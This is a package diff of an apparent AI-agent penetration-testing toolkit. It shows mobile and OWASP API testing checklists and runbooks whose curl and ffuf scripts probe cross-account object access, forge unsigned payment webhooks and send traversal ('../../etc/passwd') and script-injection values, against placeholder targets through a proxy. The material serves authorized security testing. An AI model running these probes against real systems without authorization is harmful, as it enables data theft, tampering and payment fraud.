@abdulr7man/pensieve 0.0.0-stage → 1.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +684 -0
- package/README.md +176 -2
- package/VERSION +1 -0
- package/agents/README.md +16 -0
- package/agents/pensieve-code-auditor.md +58 -0
- package/agents/pensieve-mapper.md +46 -0
- package/agents/pensieve-planner.md +67 -0
- package/agents/pensieve-reconner.md +76 -0
- package/agents/pensieve-reporter.md +61 -0
- package/agents/pensieve-roe-checker.md +46 -0
- package/agents/pensieve-scoper.md +77 -0
- package/agents/pensieve-tester.md +83 -0
- package/agents/pensieve-validator.md +62 -0
- package/bin/pensieve +452 -0
- package/bin/pensieve-installer.cjs +5 -0
- package/commands/pensieve-close.md +6 -0
- package/commands/pensieve-map.md +6 -0
- package/commands/pensieve-new-engagement.md +6 -0
- package/commands/pensieve-pause.md +15 -0
- package/commands/pensieve-plan.md +6 -0
- package/commands/pensieve-progress.md +34 -0
- package/commands/pensieve-quick.md +8 -0
- package/commands/pensieve-recon.md +6 -0
- package/commands/pensieve-report.md +6 -0
- package/commands/pensieve-resume.md +6 -0
- package/commands/pensieve-retest.md +10 -0
- package/commands/pensieve-scope.md +49 -0
- package/commands/pensieve-surface.md +8 -0
- package/commands/pensieve-test.md +6 -0
- package/commands/pensieve-validate.md +6 -0
- package/docker/Dockerfile.pensieve-toolbox +75 -0
- package/docker/compose.pensieve-net.yml +37 -0
- package/docker/squid.conf.template +21 -0
- package/package.json +39 -4
- package/packs/ad/ad-killchain/checklist.md +64 -0
- package/packs/ad/ad-killchain/pack.yaml +19 -0
- package/packs/cloud/cloud-cis/checklist.md +66 -0
- package/packs/cloud/cloud-cis/pack.yaml +20 -0
- package/packs/fintech/practice-core/checklist.md +33 -0
- package/packs/fintech/practice-core/learnings.md +5 -0
- package/packs/fintech/practice-core/pack.yaml +18 -0
- package/packs/infra/ptes-infra/checklist.md +22 -0
- package/packs/infra/ptes-infra/pack.yaml +19 -0
- package/packs/mobile/owasp-masvs/checklist.md +80 -0
- package/packs/mobile/owasp-masvs/pack.yaml +20 -0
- package/packs/owasp-api-v4/checklist.md +85 -0
- package/packs/owasp-api-v4/learnings.md +6 -0
- package/packs/owasp-api-v4/pack.yaml +23 -0
- package/packs/owasp-api-v4/runbooks/API1/SKILL.md +66 -0
- package/packs/owasp-api-v4/runbooks/API10/SKILL.md +67 -0
- package/packs/owasp-api-v4/runbooks/API2/SKILL.md +129 -0
- package/packs/owasp-api-v4/runbooks/API3/SKILL.md +55 -0
- package/packs/owasp-api-v4/runbooks/API4/SKILL.md +59 -0
- package/packs/owasp-api-v4/runbooks/API5/SKILL.md +60 -0
- package/packs/owasp-api-v4/runbooks/API6/SKILL.md +63 -0
- package/packs/owasp-api-v4/runbooks/API7/SKILL.md +70 -0
- package/packs/owasp-api-v4/runbooks/API8/SKILL.md +72 -0
- package/packs/owasp-api-v4/runbooks/API9/SKILL.md +66 -0
- package/packs/thickclient/thickclient-core/checklist.md +60 -0
- package/packs/thickclient/thickclient-core/pack.yaml +24 -0
- package/packs/web/asvs-l2/checklist.md +50 -0
- package/packs/web/asvs-l2/learnings.md +6 -0
- package/packs/web/asvs-l2/pack.yaml +19 -0
- package/packs/web/asvs-l2/runbooks/V2-AUTH-ENUM/SKILL.md +75 -0
- package/packs/web/asvs-l2/runbooks/V2-AUTH-LIVE/SKILL.md +78 -0
- package/packs/web/asvs-l2/runbooks/V2-AUTH-MFA/SKILL.md +76 -0
- package/packs/web/asvs-l2/runbooks/V2-AUTH-RATE/SKILL.md +72 -0
- package/packs/web/owasp-testing-checklist/checklist.md +52 -0
- package/packs/web/owasp-testing-checklist/learnings.md +47 -0
- package/packs/web/owasp-testing-checklist/pack.yaml +21 -0
- package/packs/web/unauth-perimeter/checklist.md +72 -0
- package/packs/web/unauth-perimeter/pack.yaml +18 -0
- package/packs/web/unauth-perimeter/runbooks/PERIM-01/SKILL.md +60 -0
- package/packs/web/unauth-perimeter/runbooks/PERIM-02/SKILL.md +63 -0
- package/packs/web/unauth-perimeter/runbooks/PERIM-03/SKILL.md +62 -0
- package/packs/web/unauth-perimeter/runbooks/PERIM-04/SKILL.md +75 -0
- package/packs/web/unauth-perimeter/runbooks/PERIM-05/SKILL.md +66 -0
- package/packs/web/unauth-perimeter/runbooks/PERIM-06/SKILL.md +59 -0
- package/packs/web/unauth-perimeter/runbooks/PERIM-07/SKILL.md +56 -0
- package/packs/web/unauth-perimeter/runbooks/PERIM-08/SKILL.md +57 -0
- package/packs/web/unauth-perimeter/runbooks/PERIM-09/SKILL.md +62 -0
- package/packs/web/unauth-perimeter/runbooks/PERIM-10/SKILL.md +60 -0
- package/packs/whitebox/code-audit-core/checklist.md +36 -0
- package/packs/whitebox/code-audit-core/learnings.md +6 -0
- package/packs/whitebox/code-audit-core/pack.yaml +14 -0
- package/prompts/orchestrator-core.md +52 -0
- package/reference/attack-playbooks.md +57 -0
- package/reference/otp-relay.md +98 -0
- package/reference/param-profiles.md +48 -0
- package/reference/templates/FINDING.md +97 -0
- package/reference/tool-selection.md +64 -0
- package/reference/vulnerability-finding-standard.md +80 -0
- package/runtimes/hermes/hooks/injection-scan.py +290 -0
- package/runtimes/hermes/hooks/scope-guard.py +136 -0
- package/skills/pensieve/SKILL.md +134 -0
- package/skills/pensieve-close/SKILL.md +31 -0
- package/skills/pensieve-map/SKILL.md +25 -0
- package/skills/pensieve-new-engagement/SKILL.md +28 -0
- package/skills/pensieve-pause/SKILL.md +22 -0
- package/skills/pensieve-plan/SKILL.md +39 -0
- package/skills/pensieve-progress/SKILL.md +35 -0
- package/skills/pensieve-quick/SKILL.md +47 -0
- package/skills/pensieve-recon/SKILL.md +30 -0
- package/skills/pensieve-report/SKILL.md +46 -0
- package/skills/pensieve-resume/SKILL.md +33 -0
- package/skills/pensieve-retest/SKILL.md +35 -0
- package/skills/pensieve-scope/SKILL.md +35 -0
- package/skills/pensieve-surface/SKILL.md +36 -0
- package/skills/pensieve-test/SKILL.md +35 -0
- package/skills/pensieve-validate/SKILL.md +28 -0
- package/skills/pensieve-wiki/SKILL.md +39 -0
- package/src/installer/cli.cjs +209 -0
- package/src/installer/home.cjs +155 -0
- package/src/installer/runtimes.cjs +276 -0
- package/src/installer/uninstall.cjs +342 -0
- package/src/pensieve-sdk/bin/pensieve-sdk.cjs +1045 -0
- package/src/pensieve-sdk/lib/agent-translate.cjs +50 -0
- package/src/pensieve-sdk/lib/approvals.cjs +408 -0
- package/src/pensieve-sdk/lib/audit.cjs +290 -0
- package/src/pensieve-sdk/lib/checklist.cjs +337 -0
- package/src/pensieve-sdk/lib/clientlist.cjs +814 -0
- package/src/pensieve-sdk/lib/close.cjs +133 -0
- package/src/pensieve-sdk/lib/config.cjs +156 -0
- package/src/pensieve-sdk/lib/cvss.cjs +91 -0
- package/src/pensieve-sdk/lib/env.cjs +272 -0
- package/src/pensieve-sdk/lib/evidence.cjs +217 -0
- package/src/pensieve-sdk/lib/findings.cjs +1096 -0
- package/src/pensieve-sdk/lib/frontmatter.cjs +178 -0
- package/src/pensieve-sdk/lib/graph.cjs +607 -0
- package/src/pensieve-sdk/lib/ids.cjs +63 -0
- package/src/pensieve-sdk/lib/init.cjs +79 -0
- package/src/pensieve-sdk/lib/liveness.cjs +176 -0
- package/src/pensieve-sdk/lib/loop.cjs +619 -0
- package/src/pensieve-sdk/lib/migrate.cjs +57 -0
- package/src/pensieve-sdk/lib/monitor.cjs +69 -0
- package/src/pensieve-sdk/lib/pack.cjs +607 -0
- package/src/pensieve-sdk/lib/paths.cjs +73 -0
- package/src/pensieve-sdk/lib/pdf.cjs +291 -0
- package/src/pensieve-sdk/lib/recon.cjs +296 -0
- package/src/pensieve-sdk/lib/renderers/__pycache__/formal_report.cpython-314.pyc +0 -0
- package/src/pensieve-sdk/lib/renderers/formal_report.py +608 -0
- package/src/pensieve-sdk/lib/report.cjs +1135 -0
- package/src/pensieve-sdk/lib/runbook.cjs +124 -0
- package/src/pensieve-sdk/lib/sarif.cjs +154 -0
- package/src/pensieve-sdk/lib/scope.cjs +621 -0
- package/src/pensieve-sdk/lib/security.cjs +61 -0
- package/src/pensieve-sdk/lib/skills.cjs +193 -0
- package/src/pensieve-sdk/lib/state.cjs +610 -0
- package/src/pensieve-sdk/lib/subagent.cjs +658 -0
- package/src/pensieve-sdk/lib/target.cjs +149 -0
- package/src/pensieve-sdk/lib/tools.cjs +66 -0
- package/src/pensieve-sdk/lib/vault.cjs +122 -0
- package/src/pensieve-sdk/lib/vendor/cvss40.LICENSE +22 -0
- package/src/pensieve-sdk/lib/vendor/cvss40.js +1208 -0
- package/src/pensieve-sdk/package.json +11 -0
- package/templates/ACCOUNTS.md +35 -0
- package/templates/ATTACK-SURFACE.md +30 -0
- package/templates/FINDING.md +43 -0
- package/templates/PLAN.md +33 -0
- package/templates/PROJECT.md +29 -0
- package/templates/ROE.md +50 -0
- package/templates/RUN-LOG.md +19 -0
- package/templates/SCOPE.md +32 -0
- package/templates/VALIDATION.md +62 -0
- package/templates/report/REPORT.md +49 -0
- package/workflows/close.md +34 -0
- package/workflows/map.md +39 -0
- package/workflows/new-engagement.md +37 -0
- package/workflows/plan.md +45 -0
- package/workflows/progress.md +28 -0
- package/workflows/quick.md +67 -0
- package/workflows/recon.md +87 -0
- package/workflows/report.md +51 -0
- package/workflows/resume.md +26 -0
- package/workflows/retest.md +53 -0
- package/workflows/scope.md +47 -0
- package/workflows/surface.md +29 -0
- package/workflows/test.md +95 -0
- package/workflows/validate.md +34 -0
|
@@ -0,0 +1,80 @@
|
|
|
1
|
+
# Mobile (MASVS + MASTG) — checklist
|
|
2
|
+
|
|
3
|
+
| ID | Category | Status | Finding |
|
|
4
|
+
|----|----------|--------|---------|
|
|
5
|
+
| STR1 | Sensitive data at rest | | |
|
|
6
|
+
| STR2 | Sensitive data in transit | | |
|
|
7
|
+
| NET1 | Network communications (cleartext / TLS) | | |
|
|
8
|
+
| NET2 | Certificate pinning / interception | | |
|
|
9
|
+
| CODE1 | Code quality and hardening | | |
|
|
10
|
+
| CODE2 | Hardcoded secrets / debug | | |
|
|
11
|
+
| AUTH1 | Authentication (local, session) | | |
|
|
12
|
+
| AUTH2 | Session management / lockout | | |
|
|
13
|
+
| INPUT1 | Input validation and injection | | |
|
|
14
|
+
| STR3 | Local storage and file permissions | | |
|
|
15
|
+
|
|
16
|
+
## STR1 — Sensitive data at rest
|
|
17
|
+
|
|
18
|
+
- test: decrypted app database / shared_prefs / plist on the device — dump it (adb / frida) and report any PII, tokens, or keys stored in cleartext
|
|
19
|
+
- test: in-memory secrets (tokens, session, auth code) — check whether they are in plaintext Java/Kotlin/Swift variables or a secure enclave
|
|
20
|
+
- test: backup / export path — if the app allows backup or data export, verify the exported package is encrypted
|
|
21
|
+
|
|
22
|
+
## STR2 — Sensitive data in transit
|
|
23
|
+
|
|
24
|
+
- test: cleartext transmission — mitmproxy / mitm4android; report any HTTP, cleartext WebSocket, or unencrypted RPC
|
|
25
|
+
- test: TLS version and cipher — verify TLS 1.2+ only; report any TLS 1.0/1.1 or weak cipher use
|
|
26
|
+
- test: SNI stripping / host header — verify the host header matches the certificate (no spoofing of the API origin)
|
|
27
|
+
|
|
28
|
+
## NET1 — Network communications (cleartext / TLS)
|
|
29
|
+
|
|
30
|
+
- test: cleartext flag — report if the app sets `usesCleartextTraffic=true` / `NSAllowsArbitraryLoads` without justification
|
|
31
|
+
- test: insecure base URL / hardcoded IP — name any hardcoded endpoint or IP in cleartext
|
|
32
|
+
- test: custom certificate trust — report if the app trusts a user-installed CA or an embedded self-signed cert without pinning
|
|
33
|
+
|
|
34
|
+
## NET2 — Certificate pinning / interception
|
|
35
|
+
|
|
36
|
+
- test: pinning present — verify the app pins its API host's certificate (or SPKI); report if absent (any TLS man-in-the-middle)
|
|
37
|
+
- test: pinning bypass — try a pinned cert swap; if the app still accepts an alternate cert, report
|
|
38
|
+
- test: fallback to cleartext — verify the app does not fall back to cleartext when pinning fails
|
|
39
|
+
|
|
40
|
+
## CODE1 — Code quality and hardening
|
|
41
|
+
|
|
42
|
+
- test: debug flags — report any debug menu, verbose logging, or test backdoor (e.g., a hidden admin route, a debug HTTP proxy, an `isDebug` build shipping to a release)
|
|
43
|
+
- test: obfuscation / R8 — verify that R8 / ProGuard is applied in the release build; report if the app is unobfuscated
|
|
44
|
+
- test: unsafe permissions — report any excessive permission in `AndroidManifest.xml` (e.g., `CAMERA`, `LOCATION`, `READ_CONTACTS`) that the app does not need
|
|
45
|
+
- test: dynamic loading — report if the app loads code from disk or the network (DEX / SO / JS) that is not code-signed
|
|
46
|
+
|
|
47
|
+
## CODE2 — Hardcoded secrets / debug
|
|
48
|
+
|
|
49
|
+
- test: hardcoded API keys / client IDs / secrets — grep the decompiled code for `AKIA`, `secret`, `token`, `password`, `client_id`, and report any
|
|
50
|
+
- test: hardcoded credentials / PIN — report any hardcoded user, PIN, or test account
|
|
51
|
+
- test: version / build info leakage — report if the app exposes build number, debug flag, or internal environment
|
|
52
|
+
|
|
53
|
+
## AUTH1 — Authentication (local, session)
|
|
54
|
+
|
|
55
|
+
- test: local auth / biometrics — report if the app does not require local auth to unlock a sensitive screen (or uses a weak local PIN)
|
|
56
|
+
- test: lockout / timeout — report if the app does not lock after an idle timeout or on app kill
|
|
57
|
+
- test: session token storage — report if the session token is stored in a world-readable file / shared prefs
|
|
58
|
+
- test: MFA — verify whether MFA (TOTP / push) is enforced on sensitive actions; report if optional or skippable
|
|
59
|
+
|
|
60
|
+
## AUTH2 — Session management / lockout
|
|
61
|
+
|
|
62
|
+
- test: token refresh / expiry — verify the token expires and requires re-auth; report if the token is persistent or never expires
|
|
63
|
+
- test: session fixation / replay — verify the session is bound to the device and cannot be replayed after app kill
|
|
64
|
+
- test: logout — verify logout destroys the session and clears local tokens
|
|
65
|
+
- test: multi-device / concurrent session — report if a single token can be used from multiple devices simultaneously without a policy
|
|
66
|
+
|
|
67
|
+
## INPUT1 — Input validation and injection
|
|
68
|
+
|
|
69
|
+
- test: injection via intent / URI — report any intent that accepts user-controlled URI, scheme, or fragment without validation
|
|
70
|
+
- test: SQL / command injection — if the app uses a local DB or shell, report any injection vector
|
|
71
|
+
- test: file path traversal — report any file read/write that accepts a user-controlled path without sanitization
|
|
72
|
+
|
|
73
|
+
## STR3 — Local storage and file permissions
|
|
74
|
+
|
|
75
|
+
- test: file permission bits — report any app data file with world-readable or world-writable permissions
|
|
76
|
+
- test: external storage — report if the app writes sensitive data to world-readable external storage
|
|
77
|
+
- test: shared storage / IPC — report any IPC (content provider, binder, ADB) that exposes sensitive state to other apps
|
|
78
|
+
- test: clipboard — report if sensitive data is copied to the clipboard without expiration
|
|
79
|
+
|
|
80
|
+
## Engagement learnings
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
name: OWASP MASVS + MASTG Mobile
|
|
2
|
+
slug: mobile/owasp-masvs
|
|
3
|
+
version: "1.0"
|
|
4
|
+
tier: DEFAULT
|
|
5
|
+
applies_to:
|
|
6
|
+
- mobile
|
|
7
|
+
- api
|
|
8
|
+
- gray
|
|
9
|
+
- white
|
|
10
|
+
- black
|
|
11
|
+
source: https://owasp.org/www-project-mobile-security-verification-standard/
|
|
12
|
+
license: CC-BY-SA-4.0 (MASVS/MASTG docs); structure adapted for PENSIEVE
|
|
13
|
+
tools:
|
|
14
|
+
- apktool|A|apt|apktool
|
|
15
|
+
- mitmproxy|A|apt|mitmproxy
|
|
16
|
+
- frida|A|apt|frida
|
|
17
|
+
- jadx|B|host-manual|host-bound Android decompilation (see mobile skill)
|
|
18
|
+
- adb|B|host-manual|Android Platform Tools (host; lane B per ADR-013)
|
|
19
|
+
checklist: checklist.md
|
|
20
|
+
notes: "Mobile lane: MASVS + MASTG test procedures. The Android emulator / AVD is a host tool (lane B) declared in the plan, never auto-provisioned. Name the MASVS category (STR, NET, CODE, INPUT) and the CWE in each finding."
|
|
@@ -0,0 +1,85 @@
|
|
|
1
|
+
# OWASP API Security Top 10 — engagement checklist
|
|
2
|
+
|
|
3
|
+
| ID | Category | Status | Finding |
|
|
4
|
+
|----|----------|--------|---------|
|
|
5
|
+
| API1 | Broken Object Level Authorization | | |
|
|
6
|
+
| API2 | Broken Authentication | | |
|
|
7
|
+
| API3 | Broken Object Property Level Authorization | | |
|
|
8
|
+
| API4 | Unrestricted Resource Consumption | | |
|
|
9
|
+
| API5 | Broken Function Level Authorization | | |
|
|
10
|
+
| API6 | Unrestricted Access to Sensitive Business Flows | | |
|
|
11
|
+
| API7 | Server Side Request Forgery | | |
|
|
12
|
+
| API8 | Security Misconfiguration | | |
|
|
13
|
+
| API9 | Improper Inventory Management | | |
|
|
14
|
+
| API10 | Unsafe Consumption of APIs | | |
|
|
15
|
+
|
|
16
|
+
## API1 — Broken Object Level Authorization
|
|
17
|
+
|
|
18
|
+
- test: with two same-role accounts (ACCOUNTS.md matrix), read/modify user A's object id with user B's token on every parameterized GET/PUT/PATCH/DELETE
|
|
19
|
+
- test: enumerate object ids (sequential, UUIDv1, predictable patterns) — ffuf over id ranges, compare response sizes/statuses
|
|
20
|
+
- test: cross-tenant access with the victim account from the matrix
|
|
21
|
+
- test: encoded/traversal object references (base64 ids, ../, composite keys)
|
|
22
|
+
|
|
23
|
+
## API2 — Broken Authentication
|
|
24
|
+
|
|
25
|
+
- test: login-path liveness FIRST — assert the genuine auth-stage marker (real error code / stage transition in the body) before ANY auth-surface conclusion; a naive POST without the client crypto is silently ignored, and a negative naive-POST burst is INVALID evidence
|
|
26
|
+
- test: credential stuffing / rate limiting on the GENUINE path — ~10 rapid logins with a nonexistent username (never a real account; single-attempt-then-stop on real credentials), distinct statuses + timing escalation (respect engagement intensity limits in PROJECT.md)
|
|
27
|
+
- test: user-enumeration differential — existing vs nonexistent username response BYTES at the same auth stage, not status codes; report the oracle only with a body-quoted differential
|
|
28
|
+
- test: per-account MFA — walk the login for EVERY ACCOUNTS.md row (MFA columns); enforcement differs per account/role and a single-account verdict generalizes wrongly
|
|
29
|
+
- test: JWT weaknesses — alg=none, weak secret (local wordlist), kid injection, missing expiry, token accepted after logout
|
|
30
|
+
- test: password reset / OTP flows — token entropy, reuse, brute-force window (fintech pack has the extended OTP lane)
|
|
31
|
+
- test: API key in URL / leaked keys; auth header accepted on wrong audience
|
|
32
|
+
|
|
33
|
+
## API3 — Broken Object Property Level Authorization
|
|
34
|
+
|
|
35
|
+
- test: mass assignment — add role/admin/isVerified/price fields to POST/PUT bodies
|
|
36
|
+
- test: excessive data exposure — responses returning fields the UI never shows (PII, internal ids, hashes)
|
|
37
|
+
|
|
38
|
+
## API4 — Unrestricted Resource Consumption
|
|
39
|
+
|
|
40
|
+
- test: missing pagination limits (?limit=100000), oversized payload acceptance
|
|
41
|
+
- test: rate limits absent on expensive operations (search, export, OTP send) — measure, don't DoS (intensity limits)
|
|
42
|
+
|
|
43
|
+
## API5 — Broken Function Level Authorization
|
|
44
|
+
|
|
45
|
+
- test: call admin/function endpoints with a plain user token (GET/POST/PUT/DELETE verb tampering)
|
|
46
|
+
- test: hidden/unlinked routes from JS bundles, docs, or ffuf route lists
|
|
47
|
+
|
|
48
|
+
## API6 — Sensitive Business Flows
|
|
49
|
+
|
|
50
|
+
- test: automation of the money-moving/limited flows (purchase, transfer, promo, vote) without velocity checks
|
|
51
|
+
- test: replay of one-time flows (coupons, OTP-verify, invites)
|
|
52
|
+
|
|
53
|
+
## API7 — Server Side Request Forgery
|
|
54
|
+
|
|
55
|
+
- test: URL-taking parameters (webhooks, import, avatar-from-url, preview) → internal metadata service, RFC1918, out-of-scope tripwire check FIRST
|
|
56
|
+
- test: blind SSRF via collaborator-style canary the engagement controls
|
|
57
|
+
|
|
58
|
+
## API8 — Security Misconfiguration
|
|
59
|
+
|
|
60
|
+
- test: verbose errors/stack traces, debug endpoints, default creds on supporting services
|
|
61
|
+
- test: CORS — wildcard with credentials, reflected origin
|
|
62
|
+
- test: missing security headers on API responses; TLS/config drift between environments
|
|
63
|
+
|
|
64
|
+
## API9 — Improper Inventory Management
|
|
65
|
+
|
|
66
|
+
- test: old/unversioned endpoints alive (v1 vs v2), staging/swagger/graphql introspection exposed
|
|
67
|
+
- test: undocumented hosts from recon/ not in the client's own inventory → finding material
|
|
68
|
+
|
|
69
|
+
## API10 — Unsafe Consumption of APIs
|
|
70
|
+
|
|
71
|
+
- test: downstream/third-party data trusted without validation (webhook signature checks, partner API responses)
|
|
72
|
+
|
|
73
|
+
## GraphQL lane (when an endpoint is detected — maps onto API1/3/4/5/9)
|
|
74
|
+
|
|
75
|
+
Run the reference/attack-playbooks.md graphql lane; core tests:
|
|
76
|
+
|
|
77
|
+
- test: introspection + field suggestions exposed (API9/API8) — judge by data reachable, not by introspection alone
|
|
78
|
+
- test: BOLA via node/global ids — relay-style `node(id:"<base64>")` queries with cross-account ids (API1)
|
|
79
|
+
- test: batching/alias abuse and query-depth attacks on expensive resolvers — measure within intensity limits, never DoS (API4)
|
|
80
|
+
- test: mutations replayed across the ACCOUNTS.md role matrix (API5); mass-assignment equivalents in mutation input objects (API3)
|
|
81
|
+
|
|
82
|
+
## Engagement learnings
|
|
83
|
+
|
|
84
|
+
- test: API2: test token-forger path — obtain/forge the signing key and submit a forged token to the verify/accept endpoint; confirm acceptance and measure whether binding (IP/User-Agent/session) is enforced or skipped. Source: captcha-bound-tokens-20260929 (F-001).
|
|
85
|
+
- test: API8: check for fail-open auth — endpoints that accept a validly-formatted-but-unbound token, or skip verification when a binding claim/header is missing. Source: captcha-bound-tokens-20260929 (F-001).
|
|
@@ -0,0 +1,6 @@
|
|
|
1
|
+
# Engagement learnings — candidate pool
|
|
2
|
+
|
|
3
|
+
_appended by pensieve-sdk pack.learn; promoted into the checklist by the pack author (ADR-022)_
|
|
4
|
+
|
|
5
|
+
- L-001 [promoted] (2026-09-30) API2: test token-forger path — obtain/forge the signing key and submit a forged token to the verify/accept endpoint; confirm acceptance and measure whether binding (IP/User-Agent/session) is enforced or skipped. Source: captcha-bound-tokens-20260929 (F-001).
|
|
6
|
+
- L-002 [promoted] (2026-09-30) API8: check for fail-open auth — endpoints that accept a validly-formatted-but-unbound token, or skip verification when a binding claim/header is missing. Source: captcha-bound-tokens-20260929 (F-001).
|
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
name: OWASP API Security Top 10 (2023)
|
|
2
|
+
slug: owasp-api-v4
|
|
3
|
+
version: "1.0"
|
|
4
|
+
tier: DEFAULT
|
|
5
|
+
applies_to:
|
|
6
|
+
- api
|
|
7
|
+
- gray
|
|
8
|
+
- black
|
|
9
|
+
- white
|
|
10
|
+
source: https://owasp.org/API-Security/editions/2023/en/0x11-t10/
|
|
11
|
+
license: CC-BY-SA-4.0 (document); structure adapted for PENSIEVE
|
|
12
|
+
tools:
|
|
13
|
+
- curl|A|builtin|curl
|
|
14
|
+
- httpx|A|builtin|httpx
|
|
15
|
+
- nuclei|A|builtin|nuclei
|
|
16
|
+
- ffuf|A|builtin|ffuf
|
|
17
|
+
- sqlmap|A|builtin|sqlmap
|
|
18
|
+
- jq|A|builtin|jq
|
|
19
|
+
- jwt_tool|A|pip|jwt_tool
|
|
20
|
+
- httpie|A|pip|httpie
|
|
21
|
+
- graphw00f|A|pip|graphw00f
|
|
22
|
+
checklist: checklist.md
|
|
23
|
+
notes: Default-tier API pack; agents mark the status table and file findings per templates/FINDING.md; all traffic through the engagement proxy.
|
|
@@ -0,0 +1,66 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: API1 — Broken Object Level Authorization
|
|
3
|
+
item: API1
|
|
4
|
+
description: Cross-account object access (BOLA/IDOR) — one account reads or modifies another account's object ids.
|
|
5
|
+
agents: [pensieve-tester]
|
|
6
|
+
pack: owasp-api-v4
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## Tools
|
|
10
|
+
|
|
11
|
+
curl, ffuf, jq
|
|
12
|
+
|
|
13
|
+
## Steps
|
|
14
|
+
|
|
15
|
+
All traffic goes through the engagement proxy — export it once and every
|
|
16
|
+
command below routes through it. Targets are placeholders only (`$TARGET` /
|
|
17
|
+
`example.com`); SCOPE.md wins. Accounts come from the ACCOUNTS.md matrix
|
|
18
|
+
(BOLA needs 2 same-role users `$TOKEN_A`/`$TOKEN_B` + 1 cross-tenant victim
|
|
19
|
+
`$TOKEN_V`).
|
|
20
|
+
|
|
21
|
+
```sh
|
|
22
|
+
export PROXY=http://127.0.0.1:8080 # engagement proxy
|
|
23
|
+
|
|
24
|
+
# 1. Baseline — user A reads own object (establish the object id + shape)
|
|
25
|
+
curl -sS -x "$PROXY" -H "Authorization: Bearer $TOKEN_A" \
|
|
26
|
+
https://$TARGET/api/orders/1001 -o a.json
|
|
27
|
+
|
|
28
|
+
# 2. BOLA read — user B requests user A's object id (same role, different owner)
|
|
29
|
+
curl -sS -x "$PROXY" -o b.json -w 'status=%{http_code} size=%{size_download}\n' \
|
|
30
|
+
-H "Authorization: Bearer $TOKEN_B" https://$TARGET/api/orders/1001
|
|
31
|
+
|
|
32
|
+
# 3. BOLA write — repeat on every parameterized mutating verb
|
|
33
|
+
for M in PUT PATCH DELETE; do
|
|
34
|
+
curl -sS -x "$PROXY" -X "$M" -w "$M status=%{http_code}\n" -o /dev/null \
|
|
35
|
+
-H "Authorization: Bearer $TOKEN_B" -H 'Content-Type: application/json' \
|
|
36
|
+
-d '{"note":"bola-probe"}' https://$TARGET/api/orders/1001
|
|
37
|
+
done
|
|
38
|
+
|
|
39
|
+
# 4. Object-id enumeration — sequential ids, diff sizes/statuses for anomalies
|
|
40
|
+
ffuf -x "$PROXY" -H "Authorization: Bearer $TOKEN_B" \
|
|
41
|
+
-u https://$TARGET/api/orders/FUZZ -w <(seq 1000 1100) \
|
|
42
|
+
-mc all -o api1-enum.json -of json
|
|
43
|
+
|
|
44
|
+
# 5. Cross-tenant — victim's object id with the attacker token
|
|
45
|
+
curl -sS -x "$PROXY" -o v.json -w 'cross-tenant status=%{http_code}\n' \
|
|
46
|
+
-H "Authorization: Bearer $TOKEN_B" https://$TARGET/api/orders/$VICTIM_OBJ_ID
|
|
47
|
+
|
|
48
|
+
# 6. Encoded / traversal object refs (base64 ids, composite keys)
|
|
49
|
+
curl -sS -x "$PROXY" -w 'encoded status=%{http_code}\n' -o enc.json \
|
|
50
|
+
-H "Authorization: Bearer $TOKEN_B" \
|
|
51
|
+
"https://$TARGET/api/orders/$(printf 1001 | base64)"
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
## Expected Evidence
|
|
55
|
+
|
|
56
|
+
Saved request/response pairs per matrix cell (`a.json`, `b.json`, `v.json`,
|
|
57
|
+
`enc.json`) and the `api1-enum.json` ffuf output. A status/size comparison
|
|
58
|
+
table — one row per ACCOUNTS.md account-pair × endpoint — showing owner vs.
|
|
59
|
+
cross-account responses. Every row cites an evidence id in the ledger.
|
|
60
|
+
|
|
61
|
+
## Pass/Fail
|
|
62
|
+
|
|
63
|
+
FINDING if user B's token returns 200 **and** user A's object body on any
|
|
64
|
+
cell (read or mutating), or if enumeration/cross-tenant/encoded probes return
|
|
65
|
+
another owner's object. PASS if the API returns 403/404 on every cross-account
|
|
66
|
+
matrix pair. File findings per templates/FINDING.md.
|
|
@@ -0,0 +1,67 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: API10 — Unsafe Consumption of APIs
|
|
3
|
+
item: API10
|
|
4
|
+
description: Downstream/third-party data trusted without validation — webhook signatures unverified, partner API responses accepted blindly.
|
|
5
|
+
agents: [pensieve-tester]
|
|
6
|
+
pack: owasp-api-v4
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
## Tools
|
|
10
|
+
|
|
11
|
+
curl, httpie, jq
|
|
12
|
+
|
|
13
|
+
## Steps
|
|
14
|
+
|
|
15
|
+
All traffic via the engagement proxy; placeholder targets only; tokens from the
|
|
16
|
+
ACCOUNTS.md matrix. API10 is about what the target TRUSTS from upstream/third
|
|
17
|
+
parties: inbound webhooks and partner/downstream API responses it integrates
|
|
18
|
+
without validating. Probe the target's ingestion endpoints — do not attack the
|
|
19
|
+
third party.
|
|
20
|
+
|
|
21
|
+
```sh
|
|
22
|
+
export PROXY=http://127.0.0.1:8080
|
|
23
|
+
|
|
24
|
+
# 1. Webhook signature not verified — POST a forged webhook event with NO
|
|
25
|
+
# signature header, then with a WRONG signature. Acceptance = unsafe trust.
|
|
26
|
+
curl -sS -x "$PROXY" -X POST -H 'Content-Type: application/json' \
|
|
27
|
+
-d '{"event":"payment.succeeded","amount":1,"status":"paid"}' \
|
|
28
|
+
-o /dev/null -w "no-signature status=%{http_code}\n" \
|
|
29
|
+
"https://$TARGET/api/webhooks/payment"
|
|
30
|
+
curl -sS -x "$PROXY" -X POST -H 'Content-Type: application/json' \
|
|
31
|
+
-H 'X-Signature: sha256=0000000000000000000000000000000000000000000000000000000000000000' \
|
|
32
|
+
-d '{"event":"payment.succeeded","amount":1,"status":"paid"}' \
|
|
33
|
+
-o /dev/null -w "wrong-signature status=%{http_code}\n" \
|
|
34
|
+
"https://$TARGET/api/webhooks/payment"
|
|
35
|
+
|
|
36
|
+
# 2. Partner/downstream response trusted without validation — drive a flow that
|
|
37
|
+
# consumes a third-party response (e.g. an enrichment/lookup) with malformed or
|
|
38
|
+
# boundary-pushing input and check whether unvalidated upstream data flows back.
|
|
39
|
+
http -b --proxy https:"$PROXY" POST "https://$TARGET/api/enrich" \
|
|
40
|
+
Authorization:"Bearer $TOKEN_A" \
|
|
41
|
+
partner_id='../../etc/passwd' lookup='{"inject":"<script>"}' \
|
|
42
|
+
| jq '.' > api10-enrich.json
|
